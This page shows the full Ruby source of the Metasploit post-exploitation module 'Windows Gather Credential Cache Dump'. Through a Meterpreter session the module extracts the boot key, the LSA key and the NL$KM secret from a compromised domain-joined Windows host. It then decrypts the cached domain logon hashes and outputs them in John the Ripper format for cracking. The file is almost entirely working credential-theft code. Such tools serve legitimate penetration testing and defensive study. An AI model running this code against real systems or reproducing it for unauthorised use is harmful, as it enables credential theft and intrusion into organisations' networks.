CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/cachedump.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Post
8
include Msf::Post::Windows::Priv
9
include Msf::Post::Windows::Registry
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Gather Credential Cache Dump',
16
'Description' => %q{
17
This module uses the registry to extract the stored domain hashes that have been
18
cached as a result of a GPO setting. The default setting on Windows is to store
19
the last ten successful logins.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [
23
'Maurizio Agazzini <inode[at]mediaservice.net>',
24
'mubix'
25
],
26
'Platform' => ['win'],
27
'SessionTypes' => ['meterpreter'],
28
'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']],
29
'Compat' => {
30
'Meterpreter' => {
31
'Commands' => %w[
32
stdapi_railgun_api
33
stdapi_registry_open_key
34
]
35
}
36
}
37
)
38
)
39
end
40
41
def check_gpo
42
gposetting = registry_getvaldata('HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'CachedLogonsCount')
43
print_status("Cached Credentials Setting: #{gposetting} - (Max is 50 and 0 disables, and 10 is default)")
44
end
45
46
def capture_nlkm(lsakey)
47
nlkm = registry_getvaldata('HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal', '')
48
49
vprint_status("Encrypted NL$KM: #{nlkm.unpack('H*')[0]}")
50
51
if lsa_vista_style?
52
nlkm_dec = decrypt_lsa_data(nlkm, lsakey)
53
elsif sysinfo['Architecture'] == ARCH_X64
54
nlkm_dec = decrypt_secret_data(nlkm[0x10..], lsakey)
55
else # 32 bits
56
nlkm_dec = decrypt_secret_data(nlkm[0xC..], lsakey)
57
end
58
59
return nlkm_dec
60
end
61
62
def parse_decrypted_cache(dec_data, s)
63
i = 0
64
hash = dec_data[i, 0x10]
65
i += 72
66
67
username = dec_data[i, s.userNameLength].split("\x00\x00").first.gsub("\x00", '')
68
i += s.userNameLength
69
i += 2 * ((s.userNameLength / 2) % 2)
70
71
vprint_good "Username\t\t: #{username}"
72
vprint_good "Hash\t\t: #{hash.unpack('H*')[0]}"
73
74
if lsa_vista_style?
75
if (s.iterationCount > 10240)
76
iterationCount = s.iterationCount & 0xfffffc00
77
else
78
iterationCount = s.iterationCount * 1024
79
end
80
vprint_good "Iteration count\t: #{s.iterationCount} -> real #{iterationCount}"
81
end
82
83
last = Time.at(s.lastAccess)
84
vprint_good "Last login\t\t: #{last.strftime('%F %T')} "
85
86
domain = dec_data[i, s.domainNameLength + 1]
87
i += s.domainNameLength
88
89
if (s.dnsDomainNameLength != 0)
90
dnsDomainName = dec_data[i, s.dnsDomainNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
91
i += s.dnsDomainNameLength
92
i += 2 * ((s.dnsDomainNameLength / 2) % 2)
93
vprint_good "DNS Domain Name\t: #{dnsDomainName}"
94
end
95
96
if (s.upnLength != 0)
97
upn = dec_data[i, s.upnLength + 1].split("\x00\x00").first.gsub("\x00", '')
98
i += s.upnLength
99
i += 2 * ((s.upnLength / 2) % 2)
100
vprint_good "UPN\t\t\t: #{upn}"
101
end
102
103
if (s.effectiveNameLength != 0)
104
effectiveName = dec_data[i, s.effectiveNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
105
i += s.effectiveNameLength
106
i += 2 * ((s.effectiveNameLength / 2) % 2)
107
vprint_good "Effective Name\t: #{effectiveName}"
108
end
109
110
if (s.fullNameLength != 0)
111
fullName = dec_data[i, s.fullNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
112
i += s.fullNameLength
113
i += 2 * ((s.fullNameLength / 2) % 2)
114
vprint_good "Full Name\t\t: #{fullName}"
115
end
116
117
if (s.logonScriptLength != 0)
118
logonScript = dec_data[i, s.logonScriptLength + 1].split("\x00\x00").first.gsub("\x00", '')
119
i += s.logonScriptLength
120
i += 2 * ((s.logonScriptLength / 2) % 2)
121
vprint_good "Logon Script\t\t: #{logonScript}"
122
end
123
124
if (s.profilePathLength != 0)
125
profilePath = dec_data[i, s.profilePathLength + 1].split("\x00\x00").first.gsub("\x00", '')
126
i += s.profilePathLength
127
i += 2 * ((s.profilePathLength / 2) % 2)
128
vprint_good "Profile Path\t\t: #{profilePath}"
129
end
130
131
if (s.homeDirectoryLength != 0)
132
homeDirectory = dec_data[i, s.homeDirectoryLength + 1].split("\x00\x00").first.gsub("\x00", '')
133
i += s.homeDirectoryLength
134
i += 2 * ((s.homeDirectoryLength / 2) % 2)
135
vprint_good "Home Directory\t\t: #{homeDirectory}"
136
end
137
138
if (s.homeDirectoryDriveLength != 0)
139
homeDirectoryDrive = dec_data[i, s.homeDirectoryDriveLength + 1].split("\x00\x00").first.gsub("\x00", '')
140
i += s.homeDirectoryDriveLength
141
i += 2 * ((s.homeDirectoryDriveLength / 2) % 2)
142
vprint_good "Home Directory Drive\t: #{homeDirectoryDrive}"
143
end
144
145
vprint_good "User ID\t\t: #{s.userId}"
146
vprint_good "Primary Group ID\t: #{s.primaryGroupId}"
147
148
relativeId = []
149
while (s.groupCount > 0)
150
# TODO: parse attributes
151
relativeId << dec_data[i, 4].unpack('V')[0]
152
i += 4
153
attributes = dec_data[i, 4].unpack('V')[0]
154
i += 4
155
s.groupCount -= 1
156
end
157
158
vprint_good "Additional groups\t: #{relativeId.join ' '}"
159
160
if (s.logonDomainNameLength != 0)
161
logonDomainName = dec_data[i, s.logonDomainNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
162
i += s.logonDomainNameLength
163
i += 2 * ((s.logonDomainNameLength / 2) % 2)
164
vprint_good "Logon domain name\t: #{logonDomainName}"
165
end
166
167
@credentials <<
168
[
169
username,
170
hash.unpack('H*')[0],
171
iterationCount,
172
logonDomainName,
173
dnsDomainName,
174
last.strftime('%F %T'),
175
upn,
176
effectiveName,
177
fullName,
178
logonScript,
179
profilePath,
180
homeDirectory,
181
homeDirectoryDrive,
182
s.primaryGroupId,
183
relativeId.join(' '),
184
]
185
186
vprint_good '----------------------------------------------------------------------'
187
if lsa_vista_style?
188
return "#{username.downcase}:$DCC2$#{iterationCount}##{username.downcase}##{hash.unpack('H*')[0]}:#{dnsDomainName}:#{logonDomainName}\n"
189
else
190
return "#{username.downcase}:M$#{username.downcase}##{hash.unpack('H*')[0]}:#{dnsDomainName}:#{logonDomainName}\n"
191
end
192
end
193
194
def parse_cache_entry(cache_data)
195
j = Struct.new(
196
:userNameLength,
197
:domainNameLength,
198
:effectiveNameLength,
199
:fullNameLength,
200
:logonScriptLength,
201
:profilePathLength,
202
:homeDirectoryLength,
203
:homeDirectoryDriveLength,
204
:userId,
205
:primaryGroupId,
206
:groupCount,
207
:logonDomainNameLength,
208
:logonDomainIdLength,
209
:lastAccess,
210
:last_access_time,
211
:revision,
212
:sidCount,
213
:valid,
214
:iterationCount,
215
:sifLength,
216
:logonPackage,
217
:dnsDomainNameLength,
218
:upnLength,
219
:ch,
220
:enc_data
221
)
222
223
s = j.new
224
225
s.userNameLength = cache_data[0, 2].unpack('v')[0]
226
s.domainNameLength = cache_data[2, 2].unpack('v')[0]
227
s.effectiveNameLength = cache_data[4, 2].unpack('v')[0]
228
s.fullNameLength = cache_data[6, 2].unpack('v')[0]
229
s.logonScriptLength = cache_data[8, 2].unpack('v')[0]
230
s.profilePathLength = cache_data[10, 2].unpack('v')[0]
231
s.homeDirectoryLength = cache_data[12, 2].unpack('v')[0]
232
s.homeDirectoryDriveLength = cache_data[14, 2].unpack('v')[0]
233
234
s.userId = cache_data[16, 4].unpack('V')[0]
235
s.primaryGroupId = cache_data[20, 4].unpack('V')[0]
236
s.groupCount = cache_data[24, 4].unpack('V')[0]
237
s.logonDomainNameLength = cache_data[28, 2].unpack('v')[0]
238
s.logonDomainIdLength = cache_data[30, 2].unpack('v')[0]
239
240
# Removed ("Q") unpack and replaced as such
241
thi = cache_data[32, 4].unpack('V')[0]
242
tlo = cache_data[36, 4].unpack('V')[0]
243
q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
244
s.lastAccess = ((q / 10000000) - 11644473600)
245
246
s.revision = cache_data[40, 4].unpack('V')[0]
247
s.sidCount = cache_data[44, 4].unpack('V')[0]
248
s.valid = cache_data[48, 2].unpack('v')[0]
249
s.iterationCount = cache_data[50, 2].unpack('v')[0]
250
s.sifLength = cache_data[52, 4].unpack('V')[0]
251
252
s.logonPackage = cache_data[56, 4].unpack('V')[0]
253
s.dnsDomainNameLength = cache_data[60, 2].unpack('v')[0]
254
s.upnLength = cache_data[62, 2].unpack('v')[0]
255
256
s.ch = cache_data[64, 16]
257
s.enc_data = cache_data[96..]
258
259
return s
260
end
261
262
def decrypt_hash(edata, nlkm, ch)
263
rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), nlkm, ch)
264
rc4 = OpenSSL::Cipher.new('rc4')
265
rc4.key = rc4key
266
decrypted = rc4.update(edata)
267
decrypted << rc4.final
268
269
return decrypted
270
end
271
272
def decrypt_hash_vista(edata, nlkm, ch)
273
aes = OpenSSL::Cipher.new('aes-128-cbc')
274
aes.decrypt
275
aes.key = nlkm[16...32]
276
aes.padding = 0
277
aes.iv = ch
278
279
decrypted = ''
280
(0...edata.length).step(16) do |i|
281
decrypted << aes.update(edata[i, 16])
282
end
283
284
return decrypted
285
end
286
287
def run
288
@credentials = Rex::Text::Table.new(
289
'Header' => 'MSCACHE Credentials',
290
'Indent' => 1,
291
'Columns' =>
292
[
293
'Username',
294
'Hash',
295
'Hash iteration count',
296
'Logon Domain Name',
297
'DNS Domain Name',
298
'Last Login',
299
'UPN',
300
'Effective Name',
301
'Full Name',
302
'Logon Script',
303
'Profile Path',
304
'Home Directory',
305
'HomeDir Drive',
306
'Primary Group',
307
'Additional Groups'
308
]
309
)
310
311
begin
312
print_status("Executing module against #{sysinfo['Computer']}")
313
client.railgun.netapi32
314
join_status = client.railgun.netapi32.NetGetJoinInformation(nil, 4, 4)['BufferType']
315
316
if sysinfo['Architecture'] == ARCH_X64
317
join_status &= 0x00000000ffffffff
318
end
319
320
if join_status != 3
321
print_error('System is not joined to a domain, exiting..')
322
return
323
end
324
325
# Check policy setting for cached creds
326
check_gpo
327
328
print_status('Obtaining boot key...')
329
bootkey = capture_boot_key
330
vprint_status("Boot key: #{bootkey.unpack('H*')[0]}")
331
332
print_status('Obtaining Lsa key...')
333
lsakey = capture_lsa_key(bootkey)
334
if lsakey.nil?
335
print_error('Could not retrieve LSA key. Are you SYSTEM?')
336
return
337
end
338
339
vprint_status("Lsa Key: #{lsakey.unpack('H*')[0]}")
340
341
print_status('Obtaining NL$KM...')
342
nlkm = capture_nlkm(lsakey)
343
vprint_status("NL$KM: #{nlkm.unpack('H*')[0]}")
344
345
print_status('Dumping cached credentials...')
346
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SECURITY\\Cache', KEY_READ)
347
348
john = ''
349
350
ok.enum_value.each do |usr|
351
if !usr.name.match(/^NL\$\d+$/)
352
next
353
end
354
355
begin
356
nl = ok.query_value(usr.name.to_s).data
357
rescue StandardError
358
next
359
end
360
361
cache = parse_cache_entry(nl)
362
363
next unless (cache.userNameLength > 0)
364
365
vprint_status("Reg entry: #{nl.unpack('H*')[0]}")
366
vprint_status("Encrypted data: #{cache.enc_data.unpack('H*')[0]}")
367
vprint_status("Ch: #{cache.ch.unpack('H*')[0]}")
368
369
if lsa_vista_style?
370
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
371
else
372
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
373
end
374
375
vprint_status("Decrypted data: #{dec_data.unpack('H*')[0]}")
376
377
john << parse_decrypted_cache(dec_data, cache)
378
end
379
380
if lsa_vista_style?
381
print_status('Hash are in MSCACHE_VISTA format. (mscash2)')
382
p = store_loot('mscache2.creds', 'text/csv', session, @credentials.to_csv, 'mscache2_credentials.txt', 'MSCACHE v2 Credentials')
383
print_good("MSCACHE v2 saved in: #{p}")
384
385
john = "# mscash2\n" + john
386
else
387
print_status('Hash are in MSCACHE format. (mscash)')
388
p = store_loot('mscache.creds', 'text/csv', session, @credentials.to_csv, 'mscache_credentials.txt', 'MSCACHE v1 Credentials')
389
print_good("MSCACHE v1 saved in: #{p}")
390
john = "# mscash\n" + john
391
end
392
393
print_status('John the Ripper format:')
394
print_line john
395
rescue ::Interrupt
396
raise $ERROR_INFO
397
rescue ::Rex::Post::Meterpreter::RequestError => e
398
print_error("Meterpreter Exception: #{e.class} #{e}")
399
print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
400
end
401
end
402
end
403
404